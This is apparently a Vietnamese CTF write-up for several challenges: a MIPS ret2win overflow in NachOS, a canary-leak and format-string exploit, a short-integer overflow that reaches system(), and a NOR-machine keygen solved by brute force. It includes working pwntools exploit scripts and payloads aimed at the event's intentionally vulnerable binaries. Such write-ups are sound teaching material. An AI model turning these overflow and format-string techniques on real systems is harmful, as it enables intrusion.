User mode (Pwn)

  • Độ khó dự kiến: MEDIUM
  • Số team giải được: 0

Đề bài sẽ bao gồm 2 file: pow_client.py để tính proof-of-work, và mã nguồn của chương trình trong public.zip

Giải nén public.zip ta được cấu trúc thư mục như sau:

.
├── build.sh
├── Dockerfile
├── make.sh
├── mips-decstation.linux-xgcc.gz
├── NachOS-4.0
├── nachos-gcc.diff
├── run.sh
├── script.sh
└── ynetd

Nhìn sơ qua thì có thể thấy được đây là 1 bài được dựng trên Docker (có Dockerfile), các file build.shmake.sh là để mình đã ghi sẵn lệnh để tiện cho việc build và run

Xem nội dung của Dockerfile, server sẽ là Ubuntu 18.04, các file còn lại sẽ được copy vào server và chạy file script.sh

COPY ./NachOS-4.0 /home/project/nachos/NachOS-4.0
COPY ./nachos-gcc.diff /home/project/nachos
COPY ./mips-decstation.linux-xgcc.gz /home/project/nachos
 
COPY ./ynetd /home/project/nachos
 
COPY ./script.sh /script.sh
COPY ./run.sh /run.sh
 
RUN chmod +x /script.sh
RUN chmod +x /run.sh
 
EXPOSE 1234
 
CMD ["/script.sh"]

Xét đến script.sh, đây là đoạn lệnh để build nachos, vì vậy nó sẽ khá là nặng mình phải dùng tới proof-of-work để giảm tải (mặc dù mình không để public đoạn này nhưng chỉ là thêm 1 bước nhỏ do đã có pow_client.py). Để ý đoạn cuối

# /bin/bash # FOR DEBUG
./ynetd -p 1234 -lt 10 /run.sh

Mình có để sẵn 1 dòng để mọi người uncomment để debug (bằng cách interract với server local), ynetd có tác dụng để host file, và target ở đây là run.sh

Xét tiếp đến run.sh:

#!/bin/bash
/home/project/nachos/NachOS-4.0/code/build.linux/nachos -x /home/project/nachos/NachOS-4.0/code/test/main

Ở đây sẽ là 1 hàm chạy nachos thông thường (nếu bạn có xem qua slide rồi thì cũng biết đây là cách nachos chạy 1 chương trình). Tua 1 chút lại về script.sh:

cd ../code/test
make
make clean

Chương trình trong thư mục test được build trực tiếp → sẽ có mã nguồn ở đây:

.
├── halt.c
├── main.c
├── Makefile
├── Makefile.dep
├── script
└── start.s

Từ Makefile:

main.o: main.c
$(CC) $(CFLAGS) -c main.c
main: main.o start.o
$(LD) $(LDFLAGS) start.o main.o -o main.coff
$(COFF2NOFF) main.coff main

Có thể thấy main.c sau một vài thao tác, sẽ thành file main và load bởi nachos.

main.c:

#include "syscall.h"
 
void PrintString(char* s) {
    while(*s) {
        PrintChar(*s);
        s++;
    }
}
 
// So simple ret2win isn't it?
void win() {
    PrintString("Your flag: HCMUS-CTF{test_flag_flag}\n");
    Halt();
}
 
// In this chall, you don't need to analyze the custom syscall (assume it's true)!
 
int main() {
    int n;
    int i;
    char buffer[64];
 
    PrintString("Number of characters to read?: ");
    n = ReadNum();
    
    for (i = 0; i < n; i++) {
        buffer[i] = ReadChar();
    }
 
    PrintString("That's all, have a good day!\n");
 
    return 0;
}

Các hàm như PrintChar, ReadNum, ReadChar đều là các custom syscall do mình cài đặt sẵn, và cũng có comment rằng ko cần quá quan tâm tới chuyện này (từ tên syscall có thể suy ra công dụng rồi)

Trong hàm main, ta có thể thấy chương trình cho phép người dùng nhập 1 chuỗi ký tự vào buffer với size bất kỳ, trong khi đó ta chỉ cấp cho buffer kích thước là 64 → Buffer Overflow. Nhìn lên trên một xíu thì có hàm win, ở đây thì sẽ mường tượng ra được đích đến rồi đúng ko :> 1 Dạng ret2win khá cơ bản = Buffer Overflow (nếu đã giải được bài introduction thì đây chính là part 1 của nó)

Vấn đề đặt ra ở đây là chúng ta còn thiếu mất một vài thông tin như sau:

  • Kiến trúc mà chương trình này đang chạy là gì? (amd64, i386, arm, … ?)
  • Cần bao nhiêu ký tự để chạm tới mức overflow ?
  • Có sự bảo vệ nào không ? (ví dụ như PIE, canary…)
  • Ret/Nhảy đến đâu (đây là phần quan trọng nhất :> hầu hết mọi người sẽ rối nhất ở đoạn này → fail mặc dù đã biết hướng làm)

Toàn bộ chương trình main sẽ được chạy bởi nachos → vì thế ta cần phải xét 1 chút về cách mà nachos cấp phát địa chỉ và chạy chương trình. Nếu bạn có đọc qua slide thì sẽ biết entrypoint của nachos nằm ở NachOS-4.0/code/threads/main.cc (trong gợi ý mình cũng có nhắc đến việc để ý về entrypoint)

Ở đoạn cuối ta sẽ thấy có 1 phần như sau:

// finally, run an initial user program if requested to do so
    if (userProgName != NULL) {
      AddrSpace *space = new AddrSpace;
      ASSERT(space != (AddrSpace *)NULL);
      if (space->Load(userProgName)) {  // load the program into the space
space->Execute();              // run the program
ASSERTNOTREACHED();            // Execute never returns
      }
    }

Như vậy hướng chạy sẽ là tạo 1 object AddrSpace (Address Space), load chương trình main vào đó và thực hiện chạy giả lập (emulate) chương trình

Đi sâu về phần này hơn thì ta chuyển đến NachOS-4.0/code/userprog/addrspace.haddrspace.cc (Thực ra khúc này muốn lục nhanh thì có thể grep như sau: grep -ri "AddrSpace" *)

Do đã biết sẽ dùng những phương thức từ AddrSpace → đi thẳng vào addrspace.cc luôn

//----------------------------------------------------------------------
// AddrSpace::AddrSpace
// Create an address space to run a user program.
//Set up the translation from program memory to physical 
//memory.  For now, this is really simple (1:1), since we are
//only uniprogramming, and we have a single unsegmented page table
//----------------------------------------------------------------------
 
AddrSpace::AddrSpace()
{
    pageTable = new TranslationEntry[NumPhysPages];
    for (int i = 0; i < NumPhysPages; i++) {
pageTable[i].virtualPage = i;// for now, virt page # = phys page #
pageTable[i].physicalPage = i;
pageTable[i].valid = TRUE;
pageTable[i].use = FALSE;
pageTable[i].dirty = FALSE;
pageTable[i].readOnly = FALSE;  
    }
    
    // zero out the entire address space
    bzero(kernel->machine->mainMemory, MemorySize);
}
 
//----------------------------------------------------------------------
// AddrSpace::Load
// Load a user program into memory from a file.
//
//Assumes that the page table has been initialized, and that
//the object code file is in NOFF format.
//
//"fileName" is the file containing the object code to load into memory
//----------------------------------------------------------------------
 
 
bool 
AddrSpace::Load(char *fileName) 
{
    OpenFile *executable = kernel->fileSystem->Open(fileName);
    NoffHeader noffH;
    unsigned int size;
 
    if (executable == NULL) {
cerr << "Unable to open file " << fileName << "\n";
return FALSE;
    }
 
    executable->ReadAt((char *)&noffH, sizeof(noffH), 0);
    if ((noffH.noffMagic != NOFFMAGIC) && 
(WordToHost(noffH.noffMagic) == NOFFMAGIC))
    SwapHeader(&noffH);
    ASSERT(noffH.noffMagic == NOFFMAGIC);
 
#ifdef RDATA
// how big is address space?
    size = noffH.code.size + noffH.readonlyData.size + noffH.initData.size +
           noffH.uninitData.size + UserStackSize;
                                                // we need to increase the size
// to leave room for the stack
#else
// how big is address space?
    size = noffH.code.size + noffH.initData.size + noffH.uninitData.size 
+ UserStackSize;// we need to increase the size
// to leave room for the stack
#endif
    numPages = divRoundUp(size, PageSize);
    size = numPages * PageSize;
 
    ASSERT(numPages <= NumPhysPages);// check we're not trying
// to run anything too big --
// at least until we have
// virtual memory
 
    DEBUG(dbgAddr, "Initializing address space: " << numPages << ", " << size);
 
// then, copy in the code and data segments into memory
// Note: this code assumes that virtual address = physical address
    if (noffH.code.size > 0) {
        DEBUG(dbgAddr, "Initializing code segment.");
DEBUG(dbgAddr, noffH.code.virtualAddr << ", " << noffH.code.size);
        executable->ReadAt(
&(kernel->machine->mainMemory[noffH.code.virtualAddr]), 
noffH.code.size, noffH.code.inFileAddr);
    }
    if (noffH.initData.size > 0) {
        DEBUG(dbgAddr, "Initializing data segment.");
DEBUG(dbgAddr, noffH.initData.virtualAddr << ", " << noffH.initData.size);
        executable->ReadAt(
&(kernel->machine->mainMemory[noffH.initData.virtualAddr]),
noffH.initData.size, noffH.initData.inFileAddr);
    }
 
#ifdef RDATA
    if (noffH.readonlyData.size > 0) {
        DEBUG(dbgAddr, "Initializing read only data segment.");
DEBUG(dbgAddr, noffH.readonlyData.virtualAddr << ", " << noffH.readonlyData.size);
        executable->ReadAt(
&(kernel->machine->mainMemory[noffH.readonlyData.virtualAddr]),
noffH.readonlyData.size, noffH.readonlyData.inFileAddr);
    }
#endif
 
    delete executable;// close file
    return TRUE;// success
}
 
//----------------------------------------------------------------------
// AddrSpace::Execute
// Run a user program using the current thread
//
//      The program is assumed to have already been loaded into
//      the address space
//
//----------------------------------------------------------------------
 
void 
AddrSpace::Execute() 
{
 
    kernel->currentThread->space = this;
 
    this->InitRegisters();// set the initial register values
    this->RestoreState();// load page table register
 
    kernel->machine->Run();// jump to the user progam
 
    ASSERTNOTREACHED();// machine->Run never returns;
// the address space exits
// by doing the syscall "exit"
}
 

Nhìn có vẻ hơi rối nên mình sẽ tóm lại 1 vài ý như sau:

  • Ở constructor AddrSpace::AddrSpace sẽ thực hiện setup pagetable (phần này ta không cần quan tâm) và nullify memory (gán = 0)
  • AddrSpace::Load sẽ thực hiện đọc file → check signature xem có phải là file dạng NOFF hay không. Sau đó sẽ có 1 vài chỉ thị (directive) if else về RDATA, nhưng ta cũng không cần quan tâm về phần này, phần cần quan tâm sẽ ở đoạn sau:
    NoffHeader noffH;
    // ...
    executable->ReadAt((char *)&noffH, sizeof(noffH), 0);
    // ...
    if (noffH.code.size > 0) {
        DEBUG(dbgAddr, "Initializing code segment.");
DEBUG(dbgAddr, noffH.code.virtualAddr << ", " << noffH.code.size);
        executable->ReadAt(
&(kernel->machine->mainMemory[noffH.code.virtualAddr]), 
noffH.code.size, noffH.code.inFileAddr);
    }
    if (noffH.initData.size > 0) {
        DEBUG(dbgAddr, "Initializing data segment.");
DEBUG(dbgAddr, noffH.initData.virtualAddr << ", " << noffH.initData.size);
        executable->ReadAt(
&(kernel->machine->mainMemory[noffH.initData.virtualAddr]),
noffH.initData.size, noffH.initData.inFileAddr);
    }

struct NoffHeader tại NachOS-4.0/code/userprog/noff.h:

/* noff.h 
 *     Data structures defining the Nachos Object Code Format
 *
 *     Basically, we only know about three types of segments:
 *code (read-only), initialized data, and unitialized data
 */
 
#define NOFFMAGIC0xbadfad /* magic number denoting Nachos 
 * object code file 
 */
 
typedef struct segment {
  int virtualAddr;/* location of segment in virt addr space */
  int inFileAddr;/* location of segment in this file */
  int size;/* size of segment */
} Segment;
 
typedef struct noffHeader {
   int noffMagic;/* should be NOFFMAGIC */
   Segment code;/* executable code segment */ 
   Segment initData;/* initialized data segment */
#ifdef RDATA
   Segment readonlyData;/* read only data */
#endif
   Segment uninitData;/* uninitialized data segment --
 * should be zero'ed before use 
 */
} NoffHeader;
 

Đại khái chương trình sẽ load header noff có cấu trúc như trên lên trước, sau đó sẽ load code từ file ở code.inFileAddr → memory tại địa chỉ code.virtualAddr, tương tự cho initData (phần này có thể skip do initData chỉ đại diện cho biến toàn cục, ko liên quan tới thứ ta cần exploit)

Để biết thông tin 2 cái này thì ta cần 1 trình hex editor để xem (trên windows bạn có thể dùng HxD cho tiện (copy file từ docker ra), còn ở đây thì mình dùng hexedit cho tiện). int chiếm 4 bytes → ta cần xét đoạn [3→7][8→11] để tìm thông tin

→ virtualAddr = 0, inFileAddr = 0x34

Từ slide → Code ở đây sẽ hoàn toàn là MIPS:

  • Phần load chỉ đơn giản là khởi tạo các thanh ghi cần thiết & emulate chương trình thôi nên ta sẽ ko xét tới đây.

Tới đây sẽ có 2 hướng giải quyết tiếp, hoặc có thể là dùng offset inFileAddr để extract MIPS code đưa vào disassembler để xét code. Đối với cách 2, nếu tinh ý ở test/Makefile, sau khi main.ostart.o được link với nhau → main.coff, sau đó thông qua coff2noff để thành main. Ở đây có thể giả sử coff2noff chỉ để chuyển format, còn nội dung của từng section sẽ không đổi → Thực hiện make tại folder test và dùng objdump của MIPS:

/home/project/nachos/usr/local/nachos/bin/decstation-ultrix-objdump -d ./main.coff
000001e4 <win>:
 
0000021c <main>:
 21c:27bdffa0 addiu$sp,$sp,-96
 220:afbf005c sw$ra,92($sp)
 224:afbe0058 sw$s8,88($sp)
 228:0c000058 jal160 <__main>
 22c:03a0f021 move$s8,$sp
 230:3c040000 lui$a0,0x0
 234:0c00005c jal170 <PrintString>
 238:248402f8 addiu$a0,$a0,760
 23c:0c000050 jal140 <ReadNum>
 240:00000000 nop
 244:afc20010 sw$v0,16($s8)
 248:afc00014 sw$zero,20($s8)
 24c:8fc20014 lw$v0,20($s8)
 250:8fc30010 lw$v1,16($s8)
 254:00000000 nop
 258:0043102a slt$v0,$v0,$v1
 25c:14400003 bnez$v0,26c <main+0x50>
 260:00000000 nop
 264:080000a7 j29c <main+0x80>
 268:00000000 nop
 26c:0c000048 jal120 <ReadChar>
 270:00000000 nop
 274:27c30018 addiu$v1,$s8,24
 278:8fc40014 lw$a0,20($s8)
 27c:00000000 nop
 280:00641821 addu$v1,$v1,$a0
 284:a0620000 sb$v0,0($v1)
 288:8fc20014 lw$v0,20($s8)
 28c:00000000 nop
 290:24430001 addiu$v1,$v0,1
 294:08000093 j24c <main+0x30>
 298:afc30014 sw$v1,20($s8)
 29c:3c040000 lui$a0,0x0
 2a0:0c00005c jal170 <PrintString>
 2a4:24840318 addiu$a0,$a0,792
 2a8:080000ac j2b0 <main+0x94>
 2ac:00001021 move$v0,$zero
 2b0:03c0e821 move$sp,$s8
 2b4:8fbf005c lw$ra,92($sp)
 2b8:8fbe0058 lw$s8,88($sp)
 2bc:03e00008 jr$ra
 2c0:27bd0060 addiu$sp,$sp,96

Địa chỉ của hàm win là ở offset 0x1e4, 1 điểm lưu ý là ở MIPS sẽ có instruction jal (Jump And Link), địa chỉ trả về sẽ nằm ở thanh ghi $ra, sau đó được đưa vào stack, hàm hoàn thành xong sẽ lấy từ stack đem ngược lại vào $ra và nhảy tới địa chỉ đó (tương đồng với saved rip nếu bạn đã từng exploit pwn dạng buffer overflow)

 220:afbf005c sw$ra,92($sp)
 2b4:8fbf005c lw$ra,92($sp)
 2bc:03e00008 jr$ra

Như vậy mục tiêu của chúng ta sẽ là override $sp+92 thành địa chỉ của win → Done.

Nhìn qua code ở hàm main thì dễ thấy sẽ ko có bất cứ phòng vệ nào được thiết lập (canary) → có thể overflow thẳng, nhưng bao nhiêu ký tự là đủ?

Khúc này có thể thử sai được (may không có ai thử trên server real, không thì sập mất <(”)), ví dụ b”A”*64 + b”\xe4\x01\x00\x00” chẳng hạn rồi nâng padding lên. Ở đây mình sẽ tìm chính xác offset luôn :>

22c:03a0f021 move$s8,$sp
...
26c:0c000048 jal120 <ReadChar>
274:27c30018 addiu$v1,$s8,24
278:8fc40014 lw$a0,20($s8)
27c:00000000 nop
280:00641821 addu$v1,$v1,$a0
284:a0620000 sb$v0,0($v1)
288:8fc20014 lw$v0,20($s8)

$v1 ở đây chính là offset tới mảng buffer, sau các lần gọi ReadChar thì sẽ được lưu vào đây với i là $a0

→ Buffer tại $sp + 24 → Padding là 92 - 24 = 68 ký tự

Solve script:

from pwn import *
from pow_client import solve_POW
 
 
# 103.245.250.17 30009
r = remote("103.245.250.17", 30009) # localhost:1234
 
# Comment these if you're running local-
r.recvuntil(b'python3 pow_client.py ')
 
base, desired_hash = r.recvline().strip().decode().split(' ')
response = solve_POW(base, desired_hash)
r.sendlineafter(b'response: ', response.encode())
# --------------------------------------
 
r.sendlineafter(b'read?: ', b'72')
r.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe4\x01\x00\x00')
 
r.interactive()

Summary

Lời kết: Bài này tính ra khá là oằn :)) thời gian dự kiến là sẽ cần một thời gian kha khá để làm nhưng vì lí do server nên lên khá trễ <(”). Một phần nữa là vì lí do là sẽ có học môn liên quan tới cái này, nên cũng là dịp cho các bạn thử sức với cái gì đó là lạ 1 xíu (Chứ thực ra mình định cho kernel exploit đấy <(“)).

introduction (Pwn)

  • Độ khó dự kiến: EASY
  • Số team giải được: 6

Do trong bài đã có hướng dẫn khá kỹ nên sẽ chỉ có script thôi nhé <(”) (Có thể comment bớt đoạn cuối, trừ p.interactive() ra) để xem thông tin chương trình trả về.

from pwn import *
#init
e = ELF('./introduction')
 
context.binary = e
 
p = process(e.path)
# p = remote('localhost', 1337)
#vars
 
fmtstr = e.sym['fmtstr']
log.info('Fmtstr adr: ' + hex(fmtstr))
 
#exploit
 
#get canary
 
p.recvuntil(b'later): ')
canary = int(p.recvline(keepends = False), 16)
 
log.info('Canary: ' + hex(canary))
 
#rop to fmtstr and fill in canary
p.sendlineafter(b'stack.', b'a' * 72 + p64(canary) + b'a' * 8 + p64(fmtstr + 1))
 
#get random value with fmtstr
p.sendlineafter(b'printf.', b'%14$llx')
 
p.recvuntil(b':\n')
rand = int(p.recvline(keepends = False), 16)
 
log.info('Rand value: ' + hex(rand))
 
#input rand value
p.sendlineafter(b'guessing.', str(rand).encode())
p.interactive()

iflow (Pwn)

  • Độ khó dự kiến: EASY
  • Số team giải được: 7

Dùng gdb, disassemble main và break ở main+253, chạy thử với run 1 ta được stack như sau:

pwndbg> telescope 20
00:0000│ esp 0xffffcb90 —▸ 0x56557020 ◂— 'Calling '
01:0004│     0xffffcb94 ◂— 0x3e8
02:0008│     0xffffcb98 ◂— 0x3e8
03:000c│     0xffffcb9c —▸ 0x5655623f (main+146) ◂— sub esp, 4
04:0010│     0xffffcba0 ◂— 0x0
05:0014│     0xffffcba4 —▸ 0xffffce6b ◂— 0x24018ce1
06:0018│     0xffffcba8 ◂— 0x3e8
07:001c│     0xffffcbac ◂— 0x2
08:0020│     0xffffcbb0 ◂— 0x0
09:0024│     0xffffcbb4 ◂— 0x0
0a:0028│     0xffffcbb8 —▸ 0xf7e0c850 (system) ◂— endbr32 
0b:002c│     0xffffcbbc —▸ 0xf7e63a20 (strlen) ◂— endbr32 
0c:0030│     0xffffcbc0 —▸ 0xf7df9380 (atoi) ◂— endbr32 
0d:0034│     0xffffcbc4 —▸ 0xf7e13eb0 (printf) ◂— endbr32 
0e:0038│     0xffffcbc8 —▸ 0xf7e36700 (puts) ◂— endbr32 
0f:003c│     0xffffcbcc —▸ 0x56557008 ◂— 'strlen'
10:0040│     0xffffcbd0 —▸ 0x5655700f ◂— 'atoi'
11:0044│     0xffffcbd4 —▸ 0x56557014 ◂— 'printf'
12:0048│     0xffffcbd8 —▸ 0x5655701b ◂— 'puts'
13:004c│     0xffffcbdc ◂— 0x20001

Có thể thấy địa chỉ hàm system nằm ở trước địa chỉ của strlen, tức là uncallable_funcs nằm trước callable_funcs:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
#define ARG "cat /home/iflow/flag"
#define MAX 3
 
int main(short argc, char **argv)
{
char *helper[] = {"strlen", "atoi", "printf", "puts"};
void (*callable_funcs[])(char *) = {strlen, atoi, printf, puts};
void (*uncallable_funcs[])(char *) = {system};
short i, pos = 0;
 
setresuid(geteuid(), geteuid(), geteuid());
 
for (i = 1; i < argc; i++) {
pos += strlen(argv[i]);
}
 
if (pos <= MAX) {
(callable_funcs[MAX-1])("Calling ");
(callable_funcs[MAX-1])(helper[pos]);
(callable_funcs[MAX-1])(".\n");
(callable_funcs[pos])(ARG);
} else {
(callable_funcs[MAX])("Out of bounds !\n");
}
 
return 0;
}

Ở đây ta thấy pos có kiểu short (16bit), nhưng lại được cộng từ strlen của các argv (giá trị trả về của strlen có thể lên tới 64bit) Đây là nơi để khai thác.

Tính 2’s complement của -1 với 16bit ta được:

>>> (-1) & 0xffff
65535

Solution:

./iflow $(python3 -c "print('A'*65535)")

NOR machine (RE)

  • Độ khó dự kiến EASY
  • Số team giải được: 15
#!/usr/bin/python3
import pickle
import sys
 
mem = []
final = [93, 103, 205, 127, 111, 17, 115, 110, 52, 127]
 
def NOR_machine(data):
    with open("image.bin", "rb") as f:
        mem = pickle.load(f)
        
    mem[60001:60011] = data
        
    while True:
        if mem[4] == 1:
            print("VM DONE")
            break
        i = mem[0]
        a1 = mem[i]
        a2 = mem[i + 1]
        a3 = mem[i + 2]
        
        tmp = (~(mem[a1] | mem[a2])) & 0xffff
        
        mem[a3] = tmp
        mem[1] = ((tmp >> 15) & 1) | ((tmp & 0x7FFF) << 1)
        mem[0] = i + 3
    
    return mem[60011:60021]
 
user_name = input("Username: ").strip()
 
l = len(user_name)
 
if not (1 <= l <= 5):
    print("Incorrect format!")
    sys.exit(1)
    
key = input("Key: ").strip()
 
if not (len(key) == 3 * l):
    print("Incorrect format!")
    sys.exit(1)
 
if not (key[2*l:] == user_name[::-1]):
    print("Incorrect signature")
    sys.exit(2)
    
# Check passed ! proceed to VM
data = [i^j for i,j in zip(key[:2*l].encode(), user_name.encode() * 2)]
 
if NOR_machine(data) == final:
    print("Correct key!, wraps your key with HCMUS-CTF{}")
else:
    print("Incorrect key!")
 

Đoạn source code được cho khá là đơn giản, flow chính sẽ là như sau:

  • Người dùng nhập username có 1 đến 5 ký tự (đề bài đã cho trước là “HCMUS”)
  • Người dùng nhập key gồm 3 * độ dài của username (tổng cộng 15)
  • Check phần cuối của key có là đảo ngược của username (SUMCH)
  • Xor 2 phần đầu với username * 2 lần (xor với “HCMUSHCMUS”) và đưa vào NOR machine ra một mảng kết quả
  • Mảng kết quả sẽ được so sánh với mảng final có trước nếu đúng thì sẽ là key

Hướng giải ở đây là sẽ dựa vào việc thử sai để phân tích trước. Ta thấy phần NOR machine sẽ là khó hiểu nhất, và độ dài của 2 part đầu = với final Dự đoán có thể là mã hoá 1-1 từ input final

Kiểm chứng:

for i in range(10):
    t = [0] * 10
    t[i] = 1
    print(t)
    print(NOR_machine(t))

So mỗi giá trị với [0] * 10, ta có:

[0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 74, 68, 60]
----
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 74, 68, 61*]
----
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 74, 69*, 60]
----
[0, 0, 1, 0, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 84, 75*, 68, 60]
----
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 102, 85*, 74, 68, 60]
----
[0, 0, 0, 0, 1, 0, 0, 0, 0, 0]
[81, 76, 72, 66, 88, 103*, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 1, 0, 0, 0, 0]
[81, 76, 72, 66, 89*, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 1, 0, 0, 0]
[81, 76, 72, 67*, 88, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 0, 1, 0, 0]
[81, 76, 73*, 66, 88, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0]
[81, 77*, 72, 66, 88, 102, 84, 74, 68, 60]
----
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
[82*, 76, 72, 66, 88, 102, 84, 74, 68, 60]

Như vậy, data[i] sẽ ảnh hưởng đến output[9 - i] brute force:

a = []
 
for i in range(10):
    t = [0] * 10
    for c in range(0, 256):
        t[i] = c
        
        output = NOR_machine(t)
        if final[9 - i] == output[9 - i]:
            a.append(c)
            break
 
print(a)
print(''.join([chr(i^j) for i,j in zip(a, b"HCMUS" * 2)]))

Kết quả:

[63, 112, 36, 39, 55, 23, 45, 125, 39, 12]
w3ird_n0r_

Appendix

Fun fact: Bài này thực ra ban đầu có độ khó dự kiến là INSANE :)) Tuy nhiên mình đã nerf lại cho nó beginner-friendly hơn. Ý tưởng của bài này đến từ bài magicbox từ TetCTF 2022 (Không phải vì cay cú giải chậm mất tiền giải)

Bản gốc mình đọc và clone thì ở đây https://medium.com/pragmatic-programmers/the-nor-machine-build-a-cpu-with-only-one-instruction-c02a9079dec6 Cũng khá là khó khăn để đọc hiểu từ Ruby → Python, but btw mọi người enjoy là được <(”).

Note về cái NOR machine của mình như sau:

Keygen challenge
Combination of username - password, provided username == 'HCMUS' -> password = ?
Mostly like keygen challenge (in case others feel unsatisfied with repeated problems)

things to do:
    - username length <= 5
    - password length = 3x username, last part is signature (reverse of username)
    - each character of first 2 parts XORED with username
    - each character will be add | xor with hard-coded number (anti xortool)
    - total password will be checked with hard-coded array (open to --side channel attack-- | brute force)

required instructions set:
    - MOV (infer from OR)
    - XOR (infer from OR, AND, NOT)
    - ADD (full adder)
    - No branch, condition
    - No indirect inference
    
system design:
    - CORE (Register):
        + IP [0]
        + SHIFT_REG[1]
        + CARRY_REG[2]
        + ZERO_REG[3]
        + HALT[4]
        + CONST_0_TO_15[5:20]
        + General purpose [21:40]
    - TEXT (Code) [41: 60000]
    - DATA (Global variable) [60001: 65535]
    
flow:
    - check signature & size on python's side
    - Init memory (65536 blocks)
    - put CORE, TEXT from binary (.bin)
    - put password (2 first parts) to DATA[60001: 60010]
    - VM process -> put final array (size depend on password) to DATA[60011: 60020]
    - (Option 2: Xor each with hardcoded value, then AND all. ANTI-BRUTEFORCING but nerfed)
    - HALT
    - Python extract array & check with hardcoded value
    

total of 10 char to check
(s[0] + 1) ^ 80
(s[1] + 2) ^ 78
(s[2] + 4) ^ 76
(s[3] + 8) ^ 74
(s[4] + 16) ^ 72
(s[5] + 32) ^ 70
(s[6] + 16) ^ 68
(s[7] + 8) ^ 66
(s[8] + 4) ^ 64
(s[9] + 2) ^ 62

"w3ird_n0r_" XOR "HCMUS" = [63, 112, 36, 39, 55, 23, 45, 125, 39, 12]

reverse -> [12, 39, 125, 45, 23, 55, 39, 36, 112, 63]

ADD -> [13, 41, 129, 53, 39, 87, 55, 44, 116, 65]
XOR -> [93, 103, 205, 127, 111, 17, 115, 110, 52, 127]

w3ird_n0r_SUMCH

Như bạn thấy trong flow có 1 dòng về việc ANTI BRUTEFORCING :)) Khi đó bắt buộc bạn phải dump cả machine ra và phân tích (trong đó có tối ưu instruction nữa). Ở đây thì mình làm khá tuỳ hứng nên ko implement stack General purpose register sẽ khá nhiều, sau đây sẽ là source code nếu bạn có hứng thú develop thêm :

#gen.py
 
from typing import *
import pickle
 
IP = 0
SHIFT = 1
CARRY = 2
ZERO = 3
HALT = 4
 
NUM_CONST = list(range(5, 21))
 
GENERAL = list(range(21, 41))
 
def initCORE():
    return [
        41, # IP starting point
        0, # Shift
        0, # Carry
        0, # Zero
        0, # Halt
        1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, # Constant
        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 # General purpose (temp register)
    ]
 
# Instruction set implement
# ~(a | b)
def NOR(srcA: int, srcB: int, dest: int):
    return [srcA, srcB, dest]
    
# ~(a | a) <-> ~a
def NOT(srcA: int, dest: int):
    return NOR(srcA, srcA, dest)
 
# ~(~(a | a) | ~(b | b)) <-> ~(~a | ~b) <->  a & b (De morgan)
def AND(srcA: int, srcB: int, dest: int):
    return [
        NOT(srcA, GENERAL[0]),
        NOT(srcB, GENERAL[1]),
        NOR(GENERAL[0], GENERAL[1], dest)
    ]
    
# ~(~(a | b)) <-> a | b
def OR(srcA: int, srcB: int, dest: int):
    return [
        NOR(srcA, srcB, GENERAL[2]),
        NOT(GENERAL[2], dest)
    ]
    
# (a & -b) | (-a & b) <-> a ^ b
def XOR(srcA: int, srcB: int, dest: int):
    return [
        NOT(srcA, GENERAL[-1]),
        NOT(srcB, GENERAL[-2]),
        AND(srcA, GENERAL[-2], GENERAL[-3]),
        AND(GENERAL[-1], srcB, GENERAL[-4]),
        OR(GENERAL[-3], GENERAL[-4], dest)
    ]
 
def MOV(src, dest):
    return OR(src, src, dest)
 
def END():
    return MOV(NUM_CONST[0], HALT)
 
# God bless you :))
def FADD(mask: int, carry: int, srcA, srcB, dest):
    return [
        XOR(srcA, srcB, GENERAL[-5]),
        XOR(GENERAL[-5], carry, GENERAL[-6]),
        AND(GENERAL[-6], mask, GENERAL[-6]),
        OR(GENERAL[-6], dest, dest),
        AND(srcA, srcB, GENERAL[-7]),
        AND(carry, GENERAL[-5], GENERAL[-5]),
        OR(GENERAL[-7], GENERAL[-5], carry),
        MOV(SHIFT, carry),
        MOV(mask, mask),
        MOV(SHIFT, mask),
        AND(carry, mask, carry)
    ]
 
# IGNORE THE CARRY!
def ADD(srcA: int, srcB: int, dest: int):
    return [
        XOR(dest, dest, dest),
        XOR(CARRY, CARRY, CARRY),
        MOV(NUM_CONST[0], GENERAL[-8]),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
        FADD(GENERAL[-8], CARRY, srcA, srcB, dest),
    ]
 
 
 
# 0b1010000 = 2^6 + 2^4
# 0b1001110 = 2^6 + 2^3 + 2^2 + 2^1
# 0b1001100 = 2^6 + 2^3 + 2^2
# 0b1001010 = 2^6 + 2^3 + 2^1
# 0b1001000 = 2^6 + 2^3
# 0b1000110 = 2^6 + 2^2 + 2^1
# 0b1000100 = 2^6 + 2^2
# 0b1000010 = 2^6 + 2^1
# 0b1000000 = 2^6
